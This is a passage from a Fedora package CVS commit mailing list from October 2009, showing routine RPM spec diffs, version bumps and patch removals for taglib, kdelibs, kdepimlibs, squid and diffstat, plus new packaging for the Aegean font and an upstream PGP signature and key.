In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14340/F-11

Modified Files:
	.cvsignore sources taglib.spec 
Removed Files:
	taglib-1.6-test_mp4.patch 
Log Message:
sync update to 1.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/F-11/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	30 Sep 2009 16:32:09 -0000	1.14
+++ .cvsignore	31 Oct 2009 11:53:09 -0000	1.15
@@ -1 +1 @@
-taglib-1.6.tar.gz
+taglib-1.6.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/F-11/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	30 Sep 2009 16:32:09 -0000	1.14
+++ sources	31 Oct 2009 11:53:09 -0000	1.15
@@ -1 +1 @@
-5ecad0816e586a954bd676a86237d054  taglib-1.6.tar.gz
+db0502b3c3448ff1f1f9b090c1daa5f7  taglib-1.6.1.tar.gz


Index: taglib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/F-11/taglib.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- taglib.spec	30 Sep 2009 16:32:10 -0000	1.36
+++ taglib.spec	31 Oct 2009 11:53:09 -0000	1.37
@@ -11,8 +11,8 @@
 %global apidocdir __api-doc_fedora
 
 Name:       taglib	
-Version:    1.6
-Release:    2%{?dist}
+Version:    1.6.1
+Release:    1%{?dist}
 Summary:    Audio Meta-Data Library
 
 Group: 	    System Environment/Libraries
@@ -30,8 +30,6 @@ Patch1:     taglib-1.5b1-multilib.patch 
 # try 2, kiss omit -L%_libdir
 Patch2:     taglib-1.5rc1-multilib.patch
 
-Patch3: taglib-1.6-test_mp4.patch
-
 BuildRequires: cmake
 BuildRequires: pkgconfig
 BuildRequires: zlib-devel
@@ -84,8 +82,6 @@ Files needed when building software with
 ## omit for now
 %patch2 -p1 -b .multilib
 
-%patch3 -p1 -b .test_mp4
-
 
 %build
 mkdir -p %{_target_platform}
@@ -157,6 +153,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.6.1-1
+- Update to 1.6.1 (bug-fixes, of which one is considered a fix for
+  a serious bug: saving of Ogg FLAC comments).
+
 * Thu Sep 17 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.6-2
 - Include the new NEWS file as %%doc.
 


--- taglib-1.6-test_mp4.patch DELETED ---



From mschwendt at fedoraproject.org  Sat Oct 31 11:53:12 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Sat, 31 Oct 2009 11:53:12 +0000 (UTC)
Subject: rpms/taglib/F-10 .cvsignore, 1.14, 1.15 sources, 1.14,
	1.15 taglib.spec, 1.34, 1.35 taglib-1.6-test_mp4.patch, 1.3, NONE
Message-ID: <20091031115312.2E71011C0086@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/taglib/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14340/F-10

Modified Files:
	.cvsignore sources taglib.spec 
Removed Files:
	taglib-1.6-test_mp4.patch 
Log Message:
sync update to 1.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/F-10/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	30 Sep 2009 16:33:01 -0000	1.14
+++ .cvsignore	31 Oct 2009 11:53:10 -0000	1.15
@@ -1 +1 @@
-taglib-1.6.tar.gz
+taglib-1.6.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/F-10/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	30 Sep 2009 16:33:01 -0000	1.14
+++ sources	31 Oct 2009 11:53:10 -0000	1.15
@@ -1 +1 @@
-5ecad0816e586a954bd676a86237d054  taglib-1.6.tar.gz
+db0502b3c3448ff1f1f9b090c1daa5f7  taglib-1.6.1.tar.gz


Index: taglib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/taglib/F-10/taglib.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- taglib.spec	30 Sep 2009 16:33:02 -0000	1.34
+++ taglib.spec	31 Oct 2009 11:53:10 -0000	1.35
@@ -11,8 +11,8 @@
 %global apidocdir __api-doc_fedora
 
 Name:       taglib	
-Version:    1.6
-Release:    2%{?dist}
+Version:    1.6.1
+Release:    1%{?dist}
 Summary:    Audio Meta-Data Library
 
 Group: 	    System Environment/Libraries
@@ -30,8 +30,6 @@ Patch1:     taglib-1.5b1-multilib.patch 
 # try 2, kiss omit -L%_libdir
 Patch2:     taglib-1.5rc1-multilib.patch
 
-Patch3: taglib-1.6-test_mp4.patch
-
 BuildRequires: cmake
 BuildRequires: pkgconfig
 BuildRequires: zlib-devel
@@ -84,8 +82,6 @@ Files needed when building software with
 ## omit for now
 %patch2 -p1 -b .multilib
 
-%patch3 -p1 -b .test_mp4
-
 
 %build
 mkdir -p %{_target_platform}
@@ -157,6 +153,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.6.1-1
+- Update to 1.6.1 (bug-fixes, of which one is considered a fix for
+  a serious bug: saving of Ogg FLAC comments).
+
 * Thu Sep 17 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.6-2
 - Include the new NEWS file as %%doc.
 


--- taglib-1.6-test_mp4.patch DELETED ---



From ozamosi at fedoraproject.org  Sat Oct 31 12:58:07 2009
From: ozamosi at fedoraproject.org (Robin Sonefors)
Date: Sat, 31 Oct 2009 12:58:07 +0000 (UTC)
Subject: rpms/gdouros-aegean-fonts/F-11 gdouros-aegean-fonts-fontconfig.conf,
	NONE, 1.1 gdouros-aegean-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091031125807.3C74E11C0086@cvs1.fedora.phx.redhat.com>

Author: ozamosi

Update of /cvs/pkgs/rpms/gdouros-aegean-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv541

Modified Files:
	.cvsignore sources 
Added Files:
	gdouros-aegean-fonts-fontconfig.conf gdouros-aegean-fonts.spec 
Log Message:
Version 3.01



--- NEW FILE gdouros-aegean-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Aegean</family>
    </prefer>
  </alias>
  <alias>
    <family>Aegean</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE gdouros-aegean-fonts.spec ---
%global fontname gdouros-aegean
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        3.01
Release:        2%{?dist}
Summary:        A font for ancient scripts in the greater Aegean vicinity

Group:          User Interface/X
License:        Copyright only
URL:            http://users.teilar.gr/~g1951d/
Source0:        http://users.teilar.gr/~g1951d/Aegean.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Aegean covers the following scripts and symbols supported by The Unicode
Standard 5.2: Basic Latin, Greek and Coptic, Greek Extended, some Punctuation
and other Symbols, Linear B Syllabary, Linear B Ideograms, Aegean Numbers,
Ancient Greek Numbers, Ancient Symbols, Phaistos Disc, Lycian, Carian, Old
Italic, Ugaritic, Old Persian, Cypriot Syllabary, Phoenician, Lydian, and
Archaic Greek Musical Notation.

Aegean also covers the following scripts and symbols not yet supported by
Unicode: Cretan Hieroglyphs, Cypro-Minoan, Linear A, the Arkalochori Axe,
Ancient Greek and Old Italic variant alphabets. These are allocated in the
Supplementary Private Use Plane 15.

It was created by George Douros.

%prep
%setup -q -c


%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p Aegean.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} Aegean.otf

%doc Aegean.txt


%changelog
* Mon Oct 19 2009 Robin Sonefors <ozamosi at flukkost.nu> - 3.01-1
- Fix description, License string
* Thu Oct 15 2009 Robin Sonefors <ozamosi at flukkost.nu> - 3.01-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gdouros-aegean-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:49:14 -0000	1.1
+++ .cvsignore	31 Oct 2009 12:58:05 -0000	1.2
@@ -0,0 +1 @@
+Aegean.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gdouros-aegean-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:49:14 -0000	1.1
+++ sources	31 Oct 2009 12:58:05 -0000	1.2
@@ -0,0 +1 @@
+36201de0f8a523a3c002bb8619fc9da9  Aegean.zip



From rdieter at fedoraproject.org  Sat Oct 31 13:10:44 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 13:10:44 +0000 (UTC)
Subject: rpms/kdelibs/devel .cvsignore, 1.81, 1.82 kdelibs.spec, 1.524,
	1.525 sources, 1.96, 1.97 kdelibs-4.3.2-kde#1033984.patch, 1.1,
	NONE kdelibs-4.3.2-kde#207173.patch, 1.1,
	NONE kdelibs-4.3.2-kde#209712.patch, 1.1, NONE
Message-ID: <20091031131044.DD5E711C0086@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdelibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7533

Modified Files:
	.cvsignore kdelibs.spec sources 
Removed Files:
	kdelibs-4.3.2-kde#1033984.patch kdelibs-4.3.2-kde#207173.patch 
	kdelibs-4.3.2-kde#209712.patch 
Log Message:
* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/devel/.cvsignore,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- .cvsignore	7 Oct 2009 10:49:20 -0000	1.81
+++ .cvsignore	31 Oct 2009 13:10:42 -0000	1.82
@@ -1 +1 @@
-kdelibs-4.3.2.tar.bz2
+kdelibs-4.3.3.tar.bz2


Index: kdelibs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/devel/kdelibs.spec,v
retrieving revision 1.524
retrieving revision 1.525
diff -u -p -r1.524 -r1.525
--- kdelibs.spec	12 Oct 2009 16:31:16 -0000	1.524
+++ kdelibs.spec	31 Oct 2009 13:10:43 -0000	1.525
@@ -3,8 +3,8 @@
 %define strigi_ver 0.7
 
 Summary: K Desktop Environment 4 - Libraries
-Version: 4.3.2
-Release: 4%{?dist}
+Version: 4.3.3
+Release: 1%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -79,17 +79,12 @@ Patch24: kdelibs-4.3.1-drkonq.patch
 
 # upstream
 # 4.3 branch
-Patch100: kdelibs-4.3.2-kde#209712.patch
-Patch101: kdelibs-4.3.2-kde#207173.patch
-Patch102: kdelibs-4.3.2-kde#1033984.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
 
 BuildRequires: qt4-devel >= 4.5.0
-# qt4%{_?_isa} isn't provided yet -- Rex
-#Requires: qt4%{?_isa} >= %{_qt4_version}
-Requires: qt4 >= %{_qt4_version}
+Requires: qt4%{?_isa} >= %{_qt4_version}
 Requires: xdg-utils
 Requires(post): /sbin/ldconfig
 Requires(postun): /sbin/ldconfig
@@ -204,9 +199,6 @@ format for easy browsing.
 
 # upstream patches
 # 4.3
-%patch100 -p0 -b .kde#209712
-%patch101 -p4 -b .kde#207173.patch
-%patch102 -p0 -b .kde#1033984
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -399,6 +391,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Mon Oct 12 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.3.2-4
 - khtml kpart crasher nr. 2 (rev.1033984)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/devel/sources,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- sources	5 Oct 2009 13:24:57 -0000	1.96
+++ sources	31 Oct 2009 13:10:43 -0000	1.97
@@ -1 +1 @@
-0564ed8ba804a0f3f1cee9732a3d2d72  kdelibs-4.3.2.tar.bz2
+20fd3793d9d23088ecb1d5aed0254216  kdelibs-4.3.3.tar.bz2


--- kdelibs-4.3.2-kde#1033984.patch DELETED ---


--- kdelibs-4.3.2-kde#207173.patch DELETED ---


--- kdelibs-4.3.2-kde#209712.patch DELETED ---



From hno at fedoraproject.org  Sat Oct 31 13:11:00 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Sat, 31 Oct 2009 13:11:00 +0000 (UTC)
Subject: rpms/squid/F-11 squid.spec,1.130,1.131
Message-ID: <20091031131100.412F411C0086@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/squid/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7697

Modified Files:
	squid.spec 
Log Message:
Remove obsolete patches


Index: squid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/squid/F-11/squid.spec,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- squid.spec	31 Oct 2009 11:26:57 -0000	1.130
+++ squid.spec	31 Oct 2009 13:10:59 -0000	1.131
@@ -4,7 +4,7 @@
 
 Name:     squid
 Version:  3.0.STABLE20
-Release:  1%{?dist}
+Release:  2%{?dist}
 Summary:  The Squid proxy caching server
 Epoch:    7
 License:  GPLv2+
@@ -24,10 +24,8 @@ Source98: perl-requires-squid.sh
 # Upstream patches
 #Patch001: http://www.squid-cache.org/Versions/v3/3.0/changesets/bXXXX.patch
 
-
 # Backported patches
-# http://www.squid-cache.org/Versions/v3/HEAD/changesets/squid-3-9986.patch
-Patch101: squid-3.0.STABLE19-3-9986.patch
+#Patch101: squid-3.0.STABLE19-3-9986.patch
 
 # Local patches
 # Applying upstream patches first makes it less likely that local patches
@@ -63,7 +61,6 @@ lookup program (dnsserver), a program fo
 %prep
 %setup -q
 
-%patch101 -p1 -b .3-9986
 %patch201 -p1 -b .config
 %patch202 -p1 -b .location
 %patch203 -p1 -b .build
@@ -345,7 +342,7 @@ fi
     chgrp squid /var/cache/samba/winbindd_privileged >/dev/null 2>&1 || :
 
 %changelog
-* Sat Oct 31 2009 Henrik Nordstrom <henrik at henriknordstrom.net> 7:3.0.STABLE20-1
+* Sat Oct 31 2009 Henrik Nordstrom <henrik at henriknordstrom.net> 7:3.0.STABLE20-2
 - Update to 3.0.STABLE20, with several important bugfixes among
   one client cache corruption issue (mixup of 304 responses).
 



From rdieter at fedoraproject.org  Sat Oct 31 13:11:23 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 13:11:23 +0000 (UTC)
Subject: rpms/kdepimlibs/devel .cvsignore, 1.45, 1.46 kdepimlibs.spec, 1.101,
	1.102 sources, 1.43, 1.44
Message-ID: <20091031131123.34CA011C0086@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdepimlibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7897

Modified Files:
	.cvsignore kdepimlibs.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdepimlibs/devel/.cvsignore,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- .cvsignore	7 Oct 2009 12:06:58 -0000	1.45
+++ .cvsignore	31 Oct 2009 13:11:22 -0000	1.46
@@ -1 +1 @@
-kdepimlibs-4.3.2.tar.bz2
+kdepimlibs-4.3.3.tar.bz2


Index: kdepimlibs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepimlibs/devel/kdepimlibs.spec,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- kdepimlibs.spec	5 Oct 2009 14:50:50 -0000	1.101
+++ kdepimlibs.spec	31 Oct 2009 13:11:22 -0000	1.102
@@ -3,7 +3,7 @@
 %define akonadi_version 1.2.0
 
 Name: kdepimlibs
-Version: 4.3.2
+Version: 4.3.3
 Release: 1%{?dist}
 Summary: K Desktop Environment 4 - PIM Libraries
 
@@ -205,6 +205,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdepimlibs/devel/sources,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- sources	5 Oct 2009 14:50:50 -0000	1.43
+++ sources	31 Oct 2009 13:11:22 -0000	1.44
@@ -1 +1 @@
-5206959536c1a7abd58f6d2b6eb1c952  kdepimlibs-4.3.2.tar.bz2
+ff83c198e0dc8be77c4099c82daae021  kdepimlibs-4.3.3.tar.bz2



From twaugh at fedoraproject.org  Sat Oct 31 13:23:10 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Sat, 31 Oct 2009 13:23:10 +0000 (UTC)
Subject: rpms/diffstat/F-11 diffstat-1.50.tgz.asc, NONE, 1.1 upstream-key.gpg,
	NONE, 1.1 diffstat.spec, 1.28, 1.29 sources, 1.8,
	1.9 diffstat-compress.patch, 1.1, NONE
Message-ID: <20091031132310.AE03411C00EF@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/diffstat/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11291

Modified Files:
	diffstat.spec sources 
Added Files:
	diffstat-1.50.tgz.asc upstream-key.gpg 
Removed Files:
	diffstat-compress.patch 
Log Message:
* Sat Oct 31 2009 Tim Waugh <twaugh at redhat.com> 1.50-1
- 1.50 (bug #527702).
- Ship CHANGES and README (bug #527703).
- Build requires xz (bug #527708).



--- NEW FILE diffstat-1.50.tgz.asc ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://invisible-island.net/public/public.html for info

iEYEABECAAYFAkrL39YACgkQcCNT4PfkjtvsxQCg0OsMRVWL/89n5iNCWjJJ0RFS
VSYAoMiVAbPnxpmmKFhaoY/7uNYBcnTf
=0sr0
-----END PGP SIGNATURE-----


--- NEW FILE upstream-key.gpg ---
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.3 (GNU/Linux)

mQGiBD/4r7IRBADFuacEqf9fye+NQSm7xjNP705aq75VrUd2hJyPmSiFUIyQEfc4
4GQXGdFg+/Apq4iq/50/8pR8YXOKwP5OE69emEp7IxjST41orGUk5ZwcnlSkaruN
WLTe/lN3e0oOIVbYig1lUbU5IxZu03KfNg2DZ9JiZdNBlzlqx1+oFlWFLwCg3awg
EfOUfbe4kVxNrsnxaCJYJ38EAMRVyUOfhkm9l0YuiC4ebOHrdmn9jFVW+XZPZDeb
8DcyTBNrgvVTnEmrNzVJgOyZIW+uraBVitak+No1kwXvC/i0kZEzYqfG87EdJSfe
OV7axIRisiTrcbZdRJ3CBDtGvLqJ9OuGFHPQmntnZfhiwJTR79hepndEQYyV5eQb
oQ+aA/0bI+/odyRDefc9HF1EhOcz8E76QP+VlvUfIDUJrmwv/3gLZ968HACOe0DE
+bcUockLJxoNwQFwCQPjm5S2+Ba2uY4hRhOA+MResZWlPouoosay2ADfiU7pdBCx
nbcLAuezgnZg4jcXvLl1QiAihxaEI2jqgZBnnierWzqRzRZM4LQrVGhvbWFzIERp
Y2tleSA8ZGlja2V5QGludmlzaWJsZS1pc2xhbmQubmV0PoheBBMRAgAeBQI/+K+y
AhsDBgsJCAcDAgMVAgMDFgIBAh4BAheAAAoJEHAjU+D35I7bejEAnRYLqlswwk+F
+pWcppXLnsskhTfSAKCrg23hTwzaaW9mlbmDavid+QQu3bkBDQQ/+K+0EAQAjTl1
EeUt5EUq8tiGBq+KtFo3TxIdJKBtVFQ4btETdF23dkZ1o1642GmF7JJgn6PKUcJD
UlHhUO4IEcpHABAiU4HweoWh8yT/yaA9AXqRKcJpMQ5bEGoooHBIg0Uh8ahG6Q1c
HzgsGOaOK9YzFSvSIRXryMlrh1oITzvwEkXRfOcAAwcD/iRaNtGYaS05FwaaVvm0
Eexhhw2JzSaRP6PY3r/BGmgPVG9Uk9huk+Yk/pdW9Pa3KRj37ANK2svfwHx9A077
Ma9GoupZ/rjP01WO0ur8tzC7KsqCep9m33K9kdAeJZ0Ud+AwsnAEy/Q1XZin/jUU
5L1lzko010LXY9CqdrmCXhaqiEkEGBECAAkFAj/4r7QCGwwACgkQcCNT4Pfkjtuu
ngCg2es41JEYaarCcT+gFpyM0WCqAU8An3L0pkO4wtZ8SejpHa7WSR9M54xd
=VWbi
-----END PGP PUBLIC KEY BLOCK-----


Index: diffstat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/diffstat/F-11/diffstat.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- diffstat.spec	24 Feb 2009 11:48:34 -0000	1.28
+++ diffstat.spec	31 Oct 2009 13:23:10 -0000	1.29
@@ -1,13 +1,14 @@
 Summary: A utility which provides statistics based on the output of diff
 Name: diffstat
-Version: 1.43
-Release: 9%{?dist}
+Version: 1.50
+Release: 1%{?dist}
 Group: Development/Tools
 License: MIT
 URL: http://invisible-island.net/diffstat
 Source0: ftp://invisible-island.net/diffstat/%{name}-%{version}.tgz
 Source1: COPYING
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires: xz
 
 %description
 The diff command compares files line by line.  Diffstat reads the
@@ -35,11 +36,19 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc COPYING
+%doc COPYING CHANGES README
 %{_bindir}/diffstat
 %{_mandir}/*/*
 
 %changelog
+* Sat Oct 31 2009 Tim Waugh <twaugh at redhat.com> 1.50-1
+- 1.50 (bug #527702).
+- Ship CHANGES and README (bug #527703).
+- Build requires xz (bug #527708).
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.43-10
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.43-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/diffstat/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	6 Mar 2007 16:29:24 -0000	1.8
+++ sources	31 Oct 2009 13:23:10 -0000	1.9
@@ -1 +1 @@
-c23f9af8075fd81e98a0afdc3df49de9  diffstat-1.43.tgz
+ece8f6a380d30cf2355ebb27375350d7  diffstat-1.50.tgz


--- diffstat-compress.patch DELETED ---



From twaugh at fedoraproject.org  Sat Oct 31 13:23:35 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Sat, 31 Oct 2009 13:23:35 +0000 (UTC)
Subject: rpms/diffstat/devel diffstat-1.50.tgz.asc, NONE,
	1.1 upstream-key.gpg, 
	NONE, 1.1 .cvsignore, 1.8, 1.9 diffstat.spec, 1.29, 1.30 sources,
	1.8, 1.9
Message-ID: <20091031132335.7704011C00EF@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/diffstat/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11473

Modified Files:
	.cvsignore diffstat.spec sources 
Added Files:
	diffstat-1.50.tgz.asc upstream-key.gpg 
Log Message:
* Sat Oct 31 2009 Tim Waugh <twaugh at redhat.com> 1.50-1
- 1.50 (bug #527702).
- Ship CHANGES and README (bug #527703).
- Build requires xz (bug #527708).



--- NEW FILE diffstat-1.50.tgz.asc ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://invisible-island.net/public/public.html for info

iEYEABECAAYFAkrL39YACgkQcCNT4PfkjtvsxQCg0OsMRVWL/89n5iNCWjJJ0RFS
VSYAoMiVAbPnxpmmKFhaoY/7uNYBcnTf
=0sr0
-----END PGP SIGNATURE-----


--- NEW FILE upstream-key.gpg ---
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.3 (GNU/Linux)

mQGiBD/4r7IRBADFuacEqf9fye+NQSm7xjNP705aq75VrUd2hJyPmSiFUIyQEfc4
4GQXGdFg+/Apq4iq/50/8pR8YXOKwP5OE69emEp7IxjST41orGUk5ZwcnlSkaruN
WLTe/lN3e0oOIVbYig1lUbU5IxZu03KfNg2DZ9JiZdNBlzlqx1+oFlWFLwCg3awg
EfOUfbe4kVxNrsnxaCJYJ38EAMRVyUOfhkm9l0YuiC4ebOHrdmn9jFVW+XZPZDeb
8DcyTBNrgvVTnEmrNzVJgOyZIW+uraBVitak+No1kwXvC/i0kZEzYqfG87EdJSfe
OV7axIRisiTrcbZdRJ3CBDtGvLqJ9OuGFHPQmntnZfhiwJTR79hepndEQYyV5eQb
oQ+aA/0bI+/odyRDefc9HF1EhOcz8E76QP+VlvUfIDUJrmwv/3gLZ968HACOe0DE
+bcUockLJxoNwQFwCQPjm5S2+Ba2uY4hRhOA+MResZWlPouoosay2ADfiU7pdBCx
nbcLAuezgnZg4jcXvLl1QiAihxaEI2jqgZBnnierWzqRzRZM4LQrVGhvbWFzIERp
Y2tleSA8ZGlja2V5QGludmlzaWJsZS1pc2xhbmQubmV0PoheBBMRAgAeBQI/+K+y
AhsDBgsJCAcDAgMVAgMDFgIBAh4BAheAAAoJEHAjU+D35I7bejEAnRYLqlswwk+F
+pWcppXLnsskhTfSAKCrg23hTwzaaW9mlbmDavid+QQu3bkBDQQ/+K+0EAQAjTl1
EeUt5EUq8tiGBq+KtFo3TxIdJKBtVFQ4btETdF23dkZ1o1642GmF7JJgn6PKUcJD
UlHhUO4IEcpHABAiU4HweoWh8yT/yaA9AXqRKcJpMQ5bEGoooHBIg0Uh8ahG6Q1c
HzgsGOaOK9YzFSvSIRXryMlrh1oITzvwEkXRfOcAAwcD/iRaNtGYaS05FwaaVvm0
Eexhhw2JzSaRP6PY3r/BGmgPVG9Uk9huk+Yk/pdW9Pa3KRj37ANK2svfwHx9A077
Ma9GoupZ/rjP01WO0ur8tzC7KsqCep9m33K9kdAeJZ0Ud+AwsnAEy/Q1XZin/jUU
5L1lzko010LXY9CqdrmCXhaqiEkEGBECAAkFAj/4r7QCGwwACgkQcCNT4Pfkjtuu
ngCg2es41JEYaarCcT+gFpyM0WCqAU8An3L0pkO4wtZ8SejpHa7WSR9M54xd
=VWbi
-----END PGP PUBLIC KEY BLOCK-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/diffstat/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	6 Mar 2007 16:29:24 -0000	1.8
+++ .cvsignore	31 Oct 2009 13:23:34 -0000	1.9
@@ -3,3 +3,4 @@ diffstat-1.38.tgz
 diffstat-1.41.tgz
 diffstat-1.43.tar.gz
 diffstat-1.43.tgz
+diffstat-1.50.tgz


Index: diffstat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/diffstat/devel/diffstat.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- diffstat.spec	24 Jul 2009 20:15:54 -0000	1.29
+++ diffstat.spec	31 Oct 2009 13:23:35 -0000	1.30
@@ -1,13 +1,14 @@
 Summary: A utility which provides statistics based on the output of diff
 Name: diffstat
-Version: 1.43
-Release: 10%{?dist}
+Version: 1.50
+Release: 1%{?dist}
 Group: Development/Tools
 License: MIT
 URL: http://invisible-island.net/diffstat
 Source0: ftp://invisible-island.net/diffstat/%{name}-%{version}.tgz
 Source1: COPYING
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires: xz
 
 %description
 The diff command compares files line by line.  Diffstat reads the
@@ -35,11 +36,16 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc COPYING
+%doc COPYING CHANGES README
 %{_bindir}/diffstat
 %{_mandir}/*/*
 
 %changelog
+* Sat Oct 31 2009 Tim Waugh <twaugh at redhat.com> 1.50-1
